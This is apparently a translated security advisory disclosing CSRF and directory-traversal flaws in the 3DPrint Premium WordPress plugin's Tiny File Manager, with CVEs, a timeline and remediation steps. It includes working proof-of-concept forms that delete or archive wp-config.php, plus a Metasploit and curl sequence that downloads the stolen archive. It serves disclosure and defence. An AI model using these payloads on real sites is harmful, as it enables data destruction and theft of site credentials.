Vulnerabilidades encontradas no plug-in 3DPrint Premium

Publicados: 2022-12-13

A versão premium do plug-in WordPress 3DPrint é vulnerável a ataques Cross Site Request Forgery (CSRF) e travessia de diretório quando a funcionalidade do gerenciador de arquivos está habilitada. Essas vulnerabilidades permitem que um invasor exclua ou obtenha acesso a arquivos e diretórios arbitrários nos sites afetados, incluindo arquivos confidenciais, como os arquivos de configuração do site, que novamente podem levar ao controle total do site.

Recentemente, enquanto examinamos alguns possíveis falsos positivos sinalizados por nossas assinaturas experimentais, descobrimos alguns códigos que nos intrigaram no plug-in premium 3DPrint.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

Este snippet foi encontrado no módulo PHP do Tiny File Manager localizado dentro do diretório de inclusão do plug-in, mas não foi encontrado no projeto original do Tiny File Manager. Parece ser injetado com a intenção de integrá-lo aos controles de acesso baseados em funções do WordPress.

Carregar arquivos de código WordPress como este em um módulo não relacionado geralmente é um sinal de que algo está um pouco errado, então decidimos investigar mais.

O leitor atento notará que o acesso ao módulo é limitado a usuários com a função Administrador, mas não há verificações de nonce. Tudo bem se o Tiny File Manager tivesse sua própria proteção CSRF, mas como esse não era o caso, parece que esse código pode ser suscetível a um ataque CSRF. (Desde então, o Tiny File Manager adicionou proteção CSRF depois que os informamos sobre o problema. A versão 2.5.0 e posteriores devem ser muito mais seguras de usar!)

Um fator complicador é que o Tiny File Manager não está incluído no pacote ao instalar o 3DPrint premium, mas é baixado sob demanda quando ativado. A versão baixada no momento da redação é a versão 2.4.4, mas foi fortemente modificada pelos desenvolvedores do 3DPrint e é baixada de seu domínio, não diretamente dos repositórios do Tiny File Manager.

A maioria das alterações feitas remove a funcionalidade não usada pelo plug-in, bem como algumas outras alterações, como codificar o caminho, limitando o que o gerenciador de arquivos deve ser capaz de acessar. Além disso, os recursos de autenticação e autorização incorporados ao Tiny File Manager foram desativados e substituídos pela integração acima com o sistema de funções do WordPress.

Descobrimos algumas vulnerabilidades em que a combinação dos controles de acesso modificados e a inclusão do Tiny File Manager no plug-in 3DPrint se tornam exploráveis ​​para um invasor externo. Isso inclui excluir ou baixar arquivos confidenciais, potencialmente permitindo a aquisição completa do site. Essas vulnerabilidades exploram a falta de verificações nonce nos controles de acesso modificados, juntamente com vulnerabilidades de travessia de diretório no próprio Tiny File Manager.

Tentamos entrar em contato com o fornecedor do plug-in 3DPrint e do projeto Tiny File Manager. Destes, apenas os desenvolvedores do projeto Tiny File Manager nos responderam e corrigiram os problemas que enviamos a eles.

Confira nosso novo WAF como parte do Jetpack Scan, que protegerá contra esses ataques imediatamente. Atualmente está em beta. O Jetpack Scan também detectará o componente vulnerável e ajudará a removê-lo.

Como o módulo Tiny File Manager é baixado e instalado sob demanda, não há necessariamente uma correspondência entre a versão do plug-in e a versão do Tiny File Manager que está sendo usada. No entanto, uma vez instalado, não parece haver uma maneira fácil de atualizar o módulo Tiny File Manager além de excluí-lo manualmente e ativá-lo novamente.

Por esse motivo, consideramos todas as versões do 3DPrint vulneráveis ​​às vulnerabilidades abaixo se o gerenciador de arquivos tiver sido ativado.

as vulnerabilidades

1. CSRF levando à exclusão arbitrária de arquivo/diretório

  • Plugin: 3DPrint
  • Slug do plug-in: 3dprint
  • URI do plug-in: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Versões vulneráveis: todas
  • Versão fixa: nenhuma
  • Pontuação CVSS: 8,2 (Alta, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

A funcionalidade de exclusão em massa na versão incluída do Tiny File Manager (versão 2.4.4) não está devidamente protegida contra passagem de diretório e também carece de proteções CSRF. Isso permite que um invasor induza um administrador a excluir vários arquivos ou mesmo diretórios no servidor recursivamente.

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

Isso pode ser explorado passando o group e delete os parâmetros POST para qualquer valor e passando uma matriz de arquivos/diretórios para excluir no parâmetro file . A variável $new_path é uma concatenação simples de FM_ROOT_PATH e o passado no nome do arquivo, passado para a função de exclusão recursiva fm_rdelete() . Como fm_rdelete() não faz nenhuma validação dos nomes de caminho fornecidos, isso torna esse código vulnerável a um ataque de travessia de diretório.

Aqui está um exemplo de prova de conceito:

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

Todos os caminhos são relativos ao diretório wp-content/uploads/p3d/ no servidor. Quando qualquer administrador conectado clicar no botão para ficar rico, seus uploads de 2020 serão excluídos junto com o arquivo wp-config.php do site.

2. CSRF levando a downloads arbitrários

  • Plugin: 3DPrint
  • Slug do plug-in: 3dprint
  • URI do plug-in: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Versões vulneráveis: todas
  • Versão fixa: nenhuma
  • Pontuação CVSS: 7,4 (Alta, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

A funcionalidade na versão incluída do Tiny File Manager (versão 2.4.4) para baixar um arquivo zip ou tar de arquivos selecionados não é protegida contra passagem de diretório e carece de proteções CSRF. Isso permite que um invasor induza um administrador a criar um arquivo zip ou tar com arquivos e diretórios arbitrários do site, incluindo arquivos de configuração ou outro conteúdo confidencial.

O arquivo é colocado no diretório normal de upload do 3DPring, wp-content/uploads/p3d/ . O nome do arquivo é apenas parcialmente controlável pelo invasor, mas é previsível o suficiente para ser relativamente fácil de força bruta. Se eles souberem a que horas a solicitação falsificada foi enviada, também deve ser trivial fazer uma suposição fundamentada.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

Ao enviar uma solicitação de postagem com o group e as variáveis zip ou tar definidas para qualquer valor, será criado um arquivo com os arquivos especificados no parâmetro file . A data e hora atuais serão anexadas ao nome do arquivo para o arquivo, que terá o mesmo nome base do arquivo arquivado, ou “arquivo” se vários arquivos forem arquivados juntos. O arquivo será criado no diretório de upload do 3DPrint, mas os nomes dos caminhos dos arquivos não são limpos e podem conter caminhos fora desse diretório, tornando-o vulnerável a ataques de passagem de diretório.

Para explorar essa vulnerabilidade, criamos um módulo de carga útil simples para o Metasploit que serve como um formulário de autoenvio com a carga útil maliciosa para o site vulnerável. A carga útil de prova de conceito enviada foi:

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Como o módulo Metasploit registraria o timestamp de quando o formulário foi enviado, isso facilitou adivinhar o nome de arquivo correto para o arquivo criado.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

Observe como podemos deduzir o nome do arquivo gerado a partir do carimbo de data/hora da solicitação. Nesse caso, o contêiner do servidor está executando um fuso horário atrás do fuso horário local.

Recomendações

Como a versão do gerenciador de arquivos instalado é independente da versão do plug-in instalado, não podemos recomendar uma versão fixa do plug-in.

Também não encontramos uma maneira fácil de atualizar o módulo do gerenciador de arquivos se uma nova versão for lançada posteriormente.

Por esse motivo, consideramos todas as versões do plug-in premium 3DPrint vulneráveis ​​se o componente gerenciador de arquivos estiver ativado.

Nossa recomendação é garantir que o módulo gerenciador de arquivos esteja desabilitado e que o arquivo seja removido do site.

A maneira mais fácil é deletar o arquivo wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php se ele existir.

Conclusões

Todas as versões do plug-in premium 3DPrint são vulneráveis ​​a ataques CSRF e de passagem de diretório se o módulo gerenciador de arquivos estiver ativado no site. Isso não afeta a versão gratuita do plug-in baixado do repositório de plug-ins do WordPress.org.

Na Jetpack, trabalhamos arduamente para garantir que seus sites estejam protegidos contra esses tipos de vulnerabilidades. Recomendamos que você tenha um plano de segurança para seu site que inclua verificação e backups de arquivos maliciosos. O pacote Jetpack Security é uma ótima opção de segurança do WordPress para garantir a segurança do seu site e dos visitantes. Este produto inclui verificação de malware em tempo real, backups de sites, proteção contra spam de comentários e formulários do Akismet, proteção contra ataques de força bruta e muito mais.

Créditos

Pesquisa de Harald Eilertsen, com feedback e correções fornecidas por Benedict Singer, Rob Pugh, Jen Swisher e a equipe Jetpack Scan.

Linha do tempo

  • 08/09/2022: Fomos informados da descoberta e começamos a investigar
  • 25/10/2022: contatou o fornecedor pela primeira vez
  • 01/11/2022: Fornecedor contatado pela segunda vez por meio de um canal diferente
  • 08/11/2022: vulnerabilidade de exclusão em massa divulgada (CVE-2022-3899)
  • 15/11/2022: Contatou os desenvolvedores do Tiny File Manager sobre a falta de proteção CSRF e vulnerabilidades de travessia de diretório.
  • 19/11/2022: Tiny File Manager 2.5.0 lançado, corrigindo problemas de CSRF, mas não os problemas de passagem de diretório.
  • 13/12/2022: Divulgação pública